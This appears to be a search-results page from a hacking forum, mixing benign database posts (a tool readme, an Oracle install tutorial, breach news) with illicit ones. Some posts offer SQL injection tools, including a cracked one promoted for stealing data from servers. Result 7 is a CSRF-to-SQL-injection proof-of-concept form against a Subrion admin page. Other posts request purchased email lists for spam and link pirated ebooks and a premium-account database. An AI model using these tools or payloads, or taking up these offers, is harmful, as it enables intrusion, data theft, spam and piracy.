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Found 19 results

  1. SQL Operations Studio SQL Operations Studio is a data management tool that enables working with SQL Server, Azure SQL DB and SQL DW from Windows, macOS and Linux. Download SQL Operations Studio Public Preview 1 Windows: https://go.microsoft.com/fwlink/?linkid=862648 macOS: https://go.microsoft.com/fwlink/?linkid=862647 Linux: https://go.microsoft.com/fwlink/?linkid=862646 Feature Highlights Cross-Platform DB management for Windows, macOS and Linux with simple XCopy deployment SQL Server Connection Management with Connection Dialog, Server Groups, and Registered Servers Object Explorer supporting schema browsing and contextual command execution T-SQL Query Editor with advanced coding features such as autosuggestions, error diagnostics, tooltips, formatting and peek definition Query Results Viewer with advanced data grid supporting large result sets, export to JSON\CSV\Excel, query plan and charting Management Dashboard supporting customizable widgets with drill-through actionable insights Visual Data Editor that enables direct row insertion, update and deletion into tables Backup and Restore dialogs that enables advanced customization and remote filesystem browsing, configured tasks can be executed or scripted Task History window to view current task execution status, completion results with error messages and task T-SQL scripting Scripting support to generate CREATE, SELECT and DROP statements for database objects Workspaces with full Git integration and Find In Files support to managing T-SQL script libraries Modern light-weight shell with theming, user settings, full screen support, integrated terminal and numerous other features Here's some of these features in action. Contributing If you are interested in fixing issues and contributing directly to the code base, please see the document How to Contribute, which covers the following: How to build and run from source The development workflow, including debugging and running tests Submitting pull requests This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments. Privacy Statement The Microsoft Enterprise and Developer Privacy Statement describes the privacy statement of this software. License Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the Source EULA. Download: sqlopsstudio-master.zip or git clone https://github.com/Microsoft/sqlopsstudio.git Source: https://github.com/Microsoft/sqlopsstudio
  2. Salutare! Sunt in cautare de emailuri de buna calitate din Suedia. Daca are cineva sau poate sa imi scoata de undeva ne putem intelege la un pret convenabil. Emailurile le folosesc pentru afliliere la vanzarea unui produs specific acelei zone.
  3. BSQL Hacker BSQL hacker is a nice SQL injection tool that helps you perform a SQL injection attack against web applications. This tool is for those who want an automatic SQL injection tool. It is especially made for Blind SQL injection. This tool is fast and performs a multi-threaded attack for better and faster results. It supports 4 different kinds of SQL injection attacks: Blind SQL Injection Time Based Blind SQL Injection Deep Blind (based on advanced time delays) SQL Injection Error Based SQL Injection This tool works in automatic mode and can extract most of the information from the database. It comes in both GUI and console support. You can try any of the given UI modes. From GUI mode, you can also save or load saved attack data. It supports multiple injection points including query string, HTTP headers, POST, and cookies. It supports a proxy to perform the attack. It can also use the default authentication details to login into web accounts and perform the attack from the given account. It supports SSL protected URLs, and can also be used on SSL URLs with invalid certificates. BSQL Hacker SQL injection tool supports MSSQL, ORACLE and MySQL. But MySQL support is experimental and is not as effective on this database server as it is for other two. Download BSQL Hacker here: Download SQLmap SQLMap is the open source SQL injection tool and most popular among all SQL injection tools available. This tool makes it easy to exploit the SQL injection vulnerability of a web application and take over the database server. It comes with a powerful detection engine which can easily detect most of the SQL injection related vulnerabilities. It supports a wide range of database servers, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB and HSQLDB. Most of the popular database servers are already included. It also supports various kind of SQL injection attacks, including boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band. One good feature of the tool is that it comes with a built-in password hash recognition system. It helps in identifying the password hash and then cracking the password by performing a dictionary attack. This tool allows you to download or upload any file from the database server when the db server is MySQL, PostgreSQL or Microsoft SQL Server. And only for these three database servers, it also allows you to execute arbitrary commands and retrieve their standard output on the database server. After connecting to a database server, this tool also lets you search for specific database name, specific tables or for specific columns in the whole database server. This is a very useful feature when you want to search for a specific column but the database server is huge and contains too many databases and tables. Download SQL Map from the link given below: https://github.com/sqlmapproject/sqlmap SQLninja SQLninja is a SQL injection tool that exploits web applications that use a SQL server as a database server. This tool may not find the injection place at first. But if it is discovered, it can easily automate the exploitation process and extract the information from the database server. This tool can add remote shots in the registry of the database server OS to disable data execution prevention. The overall aim of the tool is to allow the attacker to gain remote access to a SQL database server. It can also be integrated with Metasploit to get GUI access to the remote database. It also supports direct and reverse bindshell, both TCP and UDP. This tool is not available for Windows platforms. It is only available for Linux, FreeBSD, Mac OS X and iOS operating systems. Download SQLninja from the link given below: http://sqlninja.sourceforge.net/ Safe3 SQL Injector Safe3 SQL injector is another powerful but easy to use SQL injection tool. Like other SQL injection tools, it also makes the SQL injection process automatic and helps attackers in gaining the access to a remote SQL server by exploiting the SQL injection vulnerability. It has a powerful AI system which easily recognizes the database server, injection type and best way to exploit the vulnerability. It supports both HTTP and HTTPS websites. You can perform SQL injection via GET, POST or cookies. It also supports authentication (Basic, Digest, NTLM HTTP authentications) to perform a SQL injection attack. The tool supports wide range of database servers including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems. For MYSQL and MS SQL, it also supports read, list or write any file from the database server. It also lets attackers execute arbitrary commands and retrieve their output on a database server in Oracle and Microsoft SQL server. It also support web path guess, MD5 crack, domain query and full SQL injection scan. Download Safe3 SQL injector tool from the link given below: http://sourceforge.net/projects/safe3si/ SQLSus SQLSus is another open source SQL injection tool and is basically a MySQL injection and takeover tool. This tool is written in Perl and you can extend the functions by adding your own codes. This tool offers a command interface which lets you inject your own SQL queries and perform SQL injection attacks. This tool claims to be fast and efficient. It claims to use a powerful blind injection attack algorithm to maximize the data gathered. For better results, it also uses stacked subqueries. To make the process even faster, it has multi-threading to perform attacks in multiple threads. Like other available SQL injection tools, it also supports HTTPS. It can perform attacks via both GET and POST. It also supports, cookies, socks proxy, HTTP authentication, and binary data retrieving. If the access to information_schema is not possible or table does not exist, it can perform a bruteforce attack to guess the name of the table. With this tool, you can also clone a database, table, or column into a local SQLite database, and continue over different sessions. If you want to use a SQL injection tool against a MySQL attack, you will prefer this tool because it is specialized for this specific database server. Download SQLsus from the link given below: http://sqlsus.sourceforge.net/ Mole Mole or (The Mole) is an automatic SQL injection tool available for free. This is an open source project hosted on Sourceforge. You only need to find the vulnerable URL and then pass it in the tool. This tool can detect the vulnerability from the given URL by using Union based or Boolean based query techniques. This tool offers a command line interface, but the interface is easy to use. It also offers auto-completion on both commands and command arguments. So, you can easily use this tool. Mole supports MySQL, MsSQL and Postgres database servers. So, you can only perform SQL injection attacks against these databases. This tool was written in Python and requires only Python3 and Python3-lxml. This tool also supports GET, POST and cookie based attacks. But you need to learn commands to operate this tool. Commands are not typical but you need to have them. List those commands or learn, it is your personal choice. Download Mole SQL injection tool from the link below: http://sourceforge.net/projects/themole/files/ Source
  4. Sunt curios ce fel de damage se poate face daca cunosti urmatoarele date de la un mysql la un site de wordpress?. Spre exemplu: /** The name of the database for WordPress */ define('DB_NAME', 'xxxx'); /** MySQL database username */ define('DB_USER', 'xxxx'); /** MySQL database password */ define('DB_PASSWORD', 'xxxxxx'); /** MySQL hostname */ define('DB_HOST', 'xxxxx'); define('AUTH_KEY', define('SECURE_AUTH_KEY', define('LOGGED_IN_KEY', define('NONCE_KEY', define('AUTH_SALT', define('SECURE_AUTH_SALT', define('LOGGED_IN_SALT', define('NONCE_SALT',
  5. SQLi Dumper v.7 - Tool to find bugs errors or vulnerabilities in MySQL database Functions SQL Injection Operation System Function Dump Database Extract Database Schema Search Columns Name Read File (read only) Create File (read only) Brute Table & Column http://www.4shared.com/rar/7grTslfQce/SQLi_Dumper_v71.html
  6. Its the succsessor to havij. Its better faster and more secure. Its the best tool i could find. Licence key is included in rar. You can steal data from servers with this tool Download: https://mega.co.nz/#!Ek90QSyI!p6zSz0tIhD2cfj889AAzrOI8HAnTl61QsAAOw8-pQNI
  7. # Affected software: subrion # Type of vulnerability: csrf to sql injection # URL: http://demo.subrion.org # Discovered by: Provensec # Website: http://www.provensec.com #version v3.3.0 # Proof of concept no csrf protection on database form which made subrion to vulnerable to database injection vuln parameter query poc: <html> <body> <form action="http://demo.subrion.org/admin/database/" method="POST"> <input type="hidden" name="query" value="SELECT * FROM `sbr301_albums` `id` " /> <input type="hidden" name="table" value="sbr301_albums" /> <input type="hidden" name="field" value="id" /> <input type="hidden" name="exec_query" value="Go" /> <input type="submit" value="Submit request" /> </form> </body> </html> Source
  8. Canadian Bitcoin exchange Cavirtex, said to be the country's largest, will shut its doors after its two factor authentication credentials were probably compromised. The breach, spotted last Sunday, affected two factor secrets and hashed passwords stored in an older database and did not match log in details to identification records. "Because security and the safety of customer funds are paramount to our mission and the success of Bitcoin in general, Cavirtex has determined to cease active operations in the Bitcoin business and to return all customer funds," the company wrote in a statement. "We believe that the damage to the company's reputation caused by the potential compromise will significantly harm our ability to continue to operate successfully. "As a result of the potential compromise of our database we cannot be certain of the confidentiality of account credentials." Cavirtex said it was solvent and could allow customers to withdraw cash up to 25 March this year. Users were encouraged to change their passwords immediately and wipe Cavirtex browser cookies. The company said it had not lost customer funds. Source
  9. Methods for detecting affine image files forpix is a forensic program for identifying similar images that are no longer identical due to image manipulation. Hereinafter I will describe the technical background for the basic understanding of the need for such a program and how it works. From image files or files in general you can create so-called cryptologic hash values, which represent a kind of fingerprint of the file. In practice, these values have the characteristic of being unique. Therefore, if a hash value for a given image is known, the image can be uniquely identified in a large amount of other images by the hash value. The advantage of this fully automated procedure is that the semantic perception of the image content by a human is not required. This methodology is an integral and fundamental component of an effective forensic investigation. Due to the avalanche effect, which is a necessary feature of cryptologic hash functions, a minimum -for a human not to be recognized- change of the image causes a drastic change of the hash value. Although the original image and the manipulated image are almost identical, this will not apply to the hash values any more. Therefore the above mentioned application for identification is ineffective in the case of similar images. A method was applied that resolves the ineffectiveness of cryptologic hash values. It uses the fact that an offender is interested to preserve certain image content. In some degree, this will preserve the contrast as well as the color and frequency distribution. The method provides three algorithms to generate robust hash values of the mentioned image features. In case of a manipulation of the image, the hash values change either not at all or only moderately similar to the degree of manipulation. By comparing the hash values of a known image with those of a large quantity of other images, similar images can now be recognized fully automated. Download: http://rojak.de/le/forpix1.02_eng.7z Tutorial In order to launch the program on a Windows machine run the included batch file "forpix.bat". Otherwise, the program runs on all Java-capable machines with a 32 bit Java-VM. Just use the Java flag "-jar -Xmx1024m forpix.jar" in the command prompt. To perform a comparison following steps are necessary. The execution of the steps are very simple in practice. Creating an image database. Analyzing images of a seized media and import the images and hash values into the image database in one step. Analyzing a reference image and performing an automated image comparison in one step. As a result, you get for each reference image a list of the most similar images from the database. The very short tutorial: Create a database: menu "Database > Create ..." Choose a name along with a directory for the new database by pressing "Directory" Press "OK" Import images into the database: menu "Image > Import" Optionally you can insert your user name, case number/identifier, evidence number. Then choose the directory where the images were stored. Press "Start" Wait a moment... A message will be shown at the end. Press "OK" To compare a image with all images in the database: menu "Image > comparison..." Choose a reference image by pressing "file" to open the reference image file. For comparison press "Start". Wait a moment... A message will be shown at the end. Press "OK" After that you will see a list of images, similar to the reference image. To show each image just single click on each entry in the list. To show the reference image just click "Reference Image" in the menu bar. Read more: forpix | martin rojak
  10. Webfwlog is a flexible web-based firewall log analyzer and reporting tool. It supports standard system logs for linux, FreeBSD, OpenBSD, NetBSD, Solaris, Irix, OS X, etc. as well as Windows XP®. Supported log file formats are netfilter, ipfilter, ipfw, ipchains and Windows XP®. Webfwlog also supports logs saved in a database using the ULOG or NFLOG targets of the linux netfilter project, or any other database logs mapped with a view to the ulogd schema. Versions 1 and 2 of ulogd database schemas are supported. Webfwlog is licensed under the GNU GPL. Webfwlog fully supports IPv6 for database logs, and netfilter and ipfilter system logs. With Webfwlog you can design reports to use on your logged data in whatever configuration you desire. Included are example reports as a starting point. You can sort a report with a single click, “drill-down” on the reports all the way to the packet level, and save your reports for later use. Download: Web-based Firewall Log Analyzer - Browse Files at SourceForge.net
  11. A mixed bag: new and old/ attack and defense/ for developers, managers, testers/ PHP, AJAX, Rails, Java, .NET, Oracle etc. Ajax Security [2007] Apache Security [2005] Applied Oracle Security: Developing Secure Database and Middleware Environments [2009] BackTrack 4: Assuring Security by Penetration Testing [2011] Beginning ASP.NET Security [2010] Core Security Patterns: Best Practices and Strategies for J2EE, Web Services, and Identity Management [2005] Cracking Drupal: A Drop in the Bucket [2009] Developer's Guide to Web Application Security [2007] E-Commerce: A Control and Security Guide [2004] Enterprise Web Services Security [2005] Essential PHP Security [2005] Expert Web Services Security in the .NET Platform [2004] request download ticket | ifile.it --- Google Hacking for Penetration Testers [2005] Google Hacking for Penetration Testers, Volume 2 [2007] Hacker Web Exploitation Uncovered [2005] Hacking Exposed Web 2.0 [2007] Hacking Exposed Web Applications, 3rd Edition [2011] HackNotes Web Security Pocket Reference [2003] Hack Proofing ColdFusion [2002] Hack Proofing Your E-Commerce Site [2001] Hack Proofing Your Web Applications [2001] How to Break Web Software: Functional and Security Testing of Web Applications and Web Services [2006] Implementing Database Security and Auditing: Includes Examples for Oracle, SQL Server, DB2 UDB, Sybase [2005] Joomla! Web Security [2008] Mastering Web Services Security [2003] ModSecurity 2.5 [2009] ModSecurity Handbook [2010] Oracle Security [1998] php architect's Guide to PHP Security [2005] Practical Oracle Security: Your Unauthorized Guide to Relational Database Security [2007] request download ticket | ifile.it --- Preventing Web Attacks with Apache [2006] Pro PHP Security: From Application Security Principles to the Implementation of XSS Defenses, Second Edition [2010] Secure E-Government Web Services [2005] Securing PHP Web Applications [2009] Security for Web Services and Service-Oriented Architectures [2009] Security Fundamentals for E-Commerce [2002] Security on Rails [2009] Security Technologies for the World Wide Web, Second Edition [2002] Seven Deadliest Web Application Attacks [2010] SQL Injection Attacks and Defense [2009] SQL Server Security Distilled [2004] SSL & TLS Essentials: Securing the Web [2000] The Oracle Hacker's Handbook: Hacking and Defending Oracle [2007] The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws [2007] The Database Hacker's Handbook: Defending Database Servers [2005] Web 2.0 Security - Defending AJAX, RIA, AND SOA [2007] Web Application Vulnerabilities: Detect, Exploit, Prevent [2007] Web Hacking: Attacks and Defense [2002] Web Security, Privacy and Commerce, 2nd Edition [2002] Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast [2008] Web Services Security [2003] XML Security [2002] XSS Exploits and Defense [2007] request download ticket | ifile.it
  12. Oracle Database 11g Release2 Unix/Solaris In acest tutorial voi descrie pasii care trebuie facuti pentru a instala Oracle Database.Acest database vine in 4 release diverse: -Enterprise Edition -Standard Edition -Standard Edition One -Express Edition (free) Dintre toate acestea Express Edition poate fi instalat doar in Linux sau in Windows. In acest tutorial ma voi concentra asupra Oracle Database 11g Release2 Enterprise Edition .Acest release suporta diverse platforme Unix/Linux/Windows In acest tutorial voi explica pasii care trebuie facuti pentru a instala acest database intrun sistem Unix/Solaris. Aceasta versiune de database 11g Release2 suporta o noua optiune de instalare si anume Oracle RAC One Node ( care permite sa rulezi mai multe instante RAC intrun singur nod de cluster)De obicei initial Oracle RAC a fost creat sa ruleze in multi-node cu instante separate alocate pe servere separate.One Node RAC in schimb reuseste sa ruleze instante multiple intrun singur nod de cluster iar realocarea instanstantelor in cazul in care merg in crash se face folosind Omotion care este defapt un utility care faciliteaza realocarea. Probabil voi reveni cu diverse alte articole in lagatura cu sistemul de clustering Oracle dar in acest tutorial voi continua cu Oracle database.Oricum daca sunteti interesati sa vedeti cum functioneaza puteti accesa paginile de manual online pe site-ul oficial ORACLE. Inainte de a instala database-ul sistemul va trebui configurat Memoria: Sistemul necesita o memorie de minim un gb de RAM , si jumatate de gb de swap In cazul in care exista sistemul are mai mult de 2 ram , memoria swap va trebui sa fie egala cu memoria ram. Pentru a verifica memoria ram [blade]# prtconf | grep "Memory size" Memory size: 3072 Megabytes Dupa cum am spus voi instala database-ul intrun sistem Sparc deci pentru a cunoaste tipul procesorului si a sistemului se poate folosi isainfo . [blade]# isainfo -kv 64-bit sparcv9 kernel modules Alocare spatiu disk Aici ar trebui luate in considerare urmatoarele: Aprox 2Gb installer+preconfig Aprox 6Gb database after install Aprox 500 Mb pentru TMP Necesita si cateva pachete , pentru a vedea daca sunt instalate pkginfo poate fi de ajutor [blade]# pkginfo -i SUNWarc SUNWbtool SUNWhea SUNWlibC SUNWlibms SUNWsprot SUNWtoo SUNWi1of SUNWi1cs SUNWi15cs SUNWxwfnt system SUNWarc Lint Libraries (usr) system SUNWbtool CCS tools bundled with SunOS system SUNWhea SunOS Header Files system SUNWi15cs X11 ISO8859-15 Codeset Support system SUNWi1cs X11 ISO8859-1 Codeset Support system SUNWi1of ISO-8859-1 (Latin-1) Optional Fonts system SUNWlibC Sun Workshop Compilers Bundled libC system SUNWlibms Math & Microtasking Libraries (Usr) system SUNWsprot Solaris Bundled tools system SUNWtoo Programming Tools system SUNWxwfnt X Window System platform required fonts In cazul in care nu gaseste un pachet instalat , va da oroare ERROR: information for "SUNWnumepachet" was not found In Solaris 10 probabil nu va gasi 2 pachete SUNWi1cs si SUNWi15cs, pot fi instalate direct din dvd-ul de installare folosind pkgadd.Atentie folosind pkgadd intrun sistem cu mai multe zone va instala pachetele in toate zonele virtuale.Folosind optiunea -G pachetele vor fi instalate doar pe nodul fizic.Evident eu am instalat pachetele in ambele sisteme global si virtual.Sistemul in care voi instala oracle are deja o zona virtualizata. O data montat dvd-ul pachetele pot fi gasite in /cdrom/sol_10/Product Note : Pentru a monta un device extern de tipul dvd sau usb in solaris 10 va trebui sa faceti stop la volume management /etc/init.d/volmgt stop Pentru a face un discovery folositi rmformat [blade]# rmformat Looking for devices... 1. Logical Node: /dev/rdsk/c0t2d0s2 Physical Node: /pci@1e,600000/ide@d/sd@2,0 Connected Device: JLMS XJ-HD166S D3S4 Device Type: DVD Reader 2. Logical Node: /dev/rdsk/c1t0d0s2 Physical Node: /pci@1e,600000/usb@b/storage@2/disk@0,0 Connected Device: SanDisk U3 Cruzer Micro 8.01 Device Type: Removable [blade]# Daca nu opriti serviciul volmgt nu veti vedea discul. O data ce discul a fost gasit se poate monta oriunde in sistem mount -F hsfs -o ro /dev/dsk/c0t2d0s2 /mountpoint Asadar se pot instala pachetele care lipsesc pkgadd -d /cdrom/sol_10/Product numepachet numepachet etc Pentru alocarea spatiului eu am decis sa ii dau un minim de 20 gb intrun slice Asadar am creat un slice de 20gb pe care am creat un zpool c0tr04d0s4. Pentru a prepara spatiul folosind ZFS : 1.Se creaza un slice folosind format care va fi alocat (poate fi un disk sau doar o partitie) c0t0d0s4 2.Se creaza un zpool zpool create datazone c0t0d0s4 3.Se creaza un spatiu (filesystem pentru user) zfs create datazone/home zfs create datazone/home/oracle Intrun final totul va arata cam asa: [blade]# zfs list NAME USED AVAIL REFER MOUNTPOINT datazone 172K 19.6G 32K /datazone datazone/home 63K 19.6G 32K /datazone/home datazone/home/oracle 31K 19.6G 31K /datazone/home/oracle Crearea grupului, user-ului pentru a instala si folosi database-ul groupadd oinstall && groupadd dba useradd -d /datazone/home/oracle -m -s /bin/ksh oracle Note : Puteti folosi oricare alt shell in solaris 10 , e disponibil si bash dar eu prefer KornShell deoarece e mult mai performant (parerea mea) Adasar vor trebui create directoarele unde se va instala database-ul mkdir -p /datazone/home/oracle/product/11/db && mkdir /datazone/home/oracle/tmp Se vor atribui drepturile de ownership asupra ierarhiei de directoare user-ului oracle chown -R oracle:oinstall /datazone/home/oracle Userului oracle i se va atribui un password passwd oracle Se va crea un fisier .profile pentru userul oracle care va fi populat cu uramtoarele date ###BEGIN ###Database required export ORACLE_BASE=/datazone/home/oracle export ORACLE_HOME=$ORACLE_BASE/product/11/db export PATH=$ORACLE_HOME/bin:$PATH export TMP=/datazone/home/oracle/tmp export TMPDIR=/datazone/home/oracle/tmp export ORACLE_UNQNAME=database_name export ORACLE_SID=database_name ###Korn shell customization EDITOR=vi export EDITOR set -o vi HISTSIZE=10000 HISTFILE=$ORACLE_BASE/.ksh_history export HISTFILE export HISTSIZE PS1="[oracle]> " ###END Note: Fisierul ar trebui sa contina si variabila DISPLAY , dar eu voi face X forwarding in ssh pentru a instala database-ul deoarece procesul de instalare are o interfata grafica , in mod divers se poate face export la display daca va aflati in fata serverului si aveti un monitor "export DISPLAY=:0.0".Desi nu prea cred ca un Netra Sparc sau un Blade Sun parcat intrun Data Center are tastiera si mouse , nu e exclus oricum. Se va crea o partitie de swap Note: In ZFS sintaxa e putin diversa , oricum voi crea 2 GB de swap iar pe parcurs o voi extinde daca va fi necesar Avand in vedere faptul ca serverul are 3GB de ram ar trebui alocat si 3 GB de swap si cred ca installer-ul va face print cu un error dar vom face skip pentru a extinde memoria post install daca este necesar (Aici am luat o decizie personala de a face asa dar in teorie ar trebui alocat 3 gb de swap) Crearea partitiei pt swap zfs create -V 2G datazone/home/oracle/ora_swap Activarea partitiei swap swap -a /dev/zvol/dsk/datazone/home/oracle/ora_swap List swap [blade]# swap -l swapfile dev swaplo blocks free /dev/dsk/c0t0d0s1 136,9 16 1056704 1054880 /dev/zvol/dsk/datazone/home/oracle/ora_swap 256,1 16 4194288 4194288 Modificari la nivel de system Desi se pot face folosind diverse SMF utility in solaris 10 , voi modifica fisierele precum vine scris in manual. Daca vin modificate manual bineinteles va trebui facut un fel de refresh pentru a fi citite si aici vom face un reboot.In unele servere nu se poate face reboot si vor trebui adoptate metodele care vor face aceste modificari in HOT level fara reboot. projadd -U oracle -K "project.max-shm-memory=(priv,2g,deny)" oracle projmod -sK "project.max-sem-nsems=(priv,256,deny)" oracle projmod -sK "project.max-sem-ids=(priv,100,deny)" oracle projmod -sK "project.max-shm-ids=(priv,100,deny)" oracle echo "set maxuprc=16384" >> /etc/system echo "set max_nprocs=30000" >> /etc/system echo "set shmsys:shminfo_shmmax=3221225472" >> /etc/system projadd administreaza proiectele in system si sintaxa pe care em folosito este sa creeze un nou proiect pentru user-ul oracle unde i-am oferit un maxim shared memory de 2 gb.Folosind projmod nu necesita reboot ci doar un log-out a user-ului.Modificarile asupra fisierului /etc/system necesita reboot desi eu nu as numi reboot in Unix deoarece sistemul nu face shutdown ci doar un INIT restart deci nu e un reboot ca in sistemele Windows. Ar putea fi folosit un modular debugger mdb pentru a modifica valorile dar vred ca e mai complicat si nu toti ar itelege cum functioneaza. maxuprc - Maximum number of processes that can be created on a system by any one user. max_nprocs - Maximum number of processes that can be created on a system. shmsys:shminfo_shmmax - Maximum size of system V shared memory segment that can be created. (e doar o valoare care exprima un maxim nu face memory alocation) Dupa aceste configurari se va face reboot Readuc aminte reboot in unix face doar un kernel restart Citez din man pages Daca totul a fost configurat bine se poate incepe cu instalarea database-ului.Se va face login cu user-ul oracle deoarece installer-ul necesita ca user-ul sa nu fie root Se creaza un director temporar pt installer mkdir /datazone/home/oracle/installetion Se vor copia fisierele descarcate sub acest director [blade]# mv database/ /datazone/home/oracle/installation/ Pentru a instala din remote se va face ssh cu optiunea -X (X forwarding) Asadar vom avea display-ul pe un computer extern. ssh -X oracle@blade Pentru a porni procesul de instalare a database-ului [oracle]> cd installation/database/ && ./runInstaller De aici inainte procesul de instalare este interactiv , asadar am facut un slide cu imagini Oracle Database 11g Release2 installer screenshots O data terminata instalarea se poate configura database-ul dar acest lucru nu mai face parte din acest topic.Daca aveti intrebari , nedumeriri sunteti liberi sa le faceti.E interesanta structura prin care functioneaza un database oracle din punct de vedere client server.Probabil ve-ti gasi greseli de exprimare , faceti un report la adresa mea de mail le voi corecta.Daca va intrebati ce rost ar avea un tutorial de instalare a unui db pe un forum de hacking , ei bine cu cat cunosti mai bine piesele din puzzle cu atat mai repede temini figura si ar fi stupid sa distrugi ceea ce nu reusesti sa creezi.
  13. Cateva sfaturi pentru cei care vor sa lucreze intrun ambient IT ca sysadmin Voi acoperi exact cerintele si ceea ce ar trebui ca o persoana sa cunoasca. Linux Singurele sisteme Linux folosite intrun enterprise vor fi RedHat Veti intalni des IBM Power Systems cu suport Linux (Versiuni RedHat 4,5,6) Rar se pot intalni si versiuni de Centos Pentru administrarea sistemelor Linux se cer urmatoarele cunostinte -Clustering (Red Hat cluster suite) -Virtualizare (Red Hat Enterprise Virtualization)(QEMU) un bun inceput -Storage (RAID,LVM) -Web (Tomcat) Asadar toate cunostintele precedente de Linux nu vor fi de folos daca nu se cunosc elementele care le-am spus mai sus Unix Sistemele intalnite sunt HP-UX,SOLARIS,AIX,True64 -Clustering (fiecare sistem in parte are un cluster suite) -Storage (RAID,VXVM,LVM,Solstice DiskSuite) -Web LotusDomino,Tomcat,Software grafica comercial sau software PBX comercial -Virtualizare PowerVM (IBM) Solaris Containers (Solaris) VmWare (HP) Windows (tinand cont ca sistemele windows sunt foarte rare si in acelasi timp vor fi doar sisteme virtualizate in Unix) Singurele motive pentru care exista windows intrun enterprise sunt urmatarele: -Active Directory (directory service) -Exchange -Ldap Database: -Oracle Real Application Clusters (RAC) -Oracle Database 11g Enterprise Edition Alte tipuri de DB nu vin folosite decat pentru hosting (Puteti sa uitati faptul ca cunoasteti Mysql sau Postgresql) Filesystem Se cer urmatoarele cunostinte Unix (UFS) Unix Filesystem Linux (GFS) Global File System Solaris (ZFS) Zetabyte Filesystem IBM (GPFS) General Parallel File System Unix/Linux in general (NFS) Network File System Toate aceste jucarii le veti intalni in fiecare zi de dimineata pana seara intrun ambient IT .Bineinteles vi se pot cere diplome sau certificate dar voi sunteti hackeri si reusiti sa treceti de orice interviu , asadar veti fi ghidati de catre propria voastra stralucire.(dar pe aceasta tema pot fi deschise alte topic-uri cum ar fi "Cum sa ajungi sysadmin intrun corporate cu numai 4 clase?).Bafta la studiat si la interviu.Daca aveti intrebari , nu ezitati sa le faceti, daca aveti idei sau cunostinte despre ce altceva ar trebui cunoscut nu ezitati sa le propuneti, nu stati cu mainile legate daca aveti ceva de spus in legatura cu subiectul , plimbati degetele pe tastiera .
  14. Versus71

    NiX API

    NiX API is a powerful anti-proxy, anti-fraud, and IP reputation lookup API. It uses the NiX database at cli.nixapi.com to determine IP country/region/city, data center details, satellite provider details, open proxy details, and Tor network association. Download
  15. Jdownloader Premium Database 24 december 2011 Link
  16. Rog pe to?i admiratorii de OpenSource ?i nu numai, s? semneze peti?ia adresat? Comisiei Europene prin care se cere tutelarea unui proiect de importa?? vital?, care mereu a fost o bandier? ?i un pilon important pentru lumea Open Source. Salva?i MySQL! » SEMNA?I PETI?IA Personal folosesc postgres dar nu pot r?mîne indiferent cînd cineva scuip? în lucrurile pe care le admir. Mul?umesc pentru aten?ie! Este o cerere, îns? eu nu pot posta acolo, sorry.
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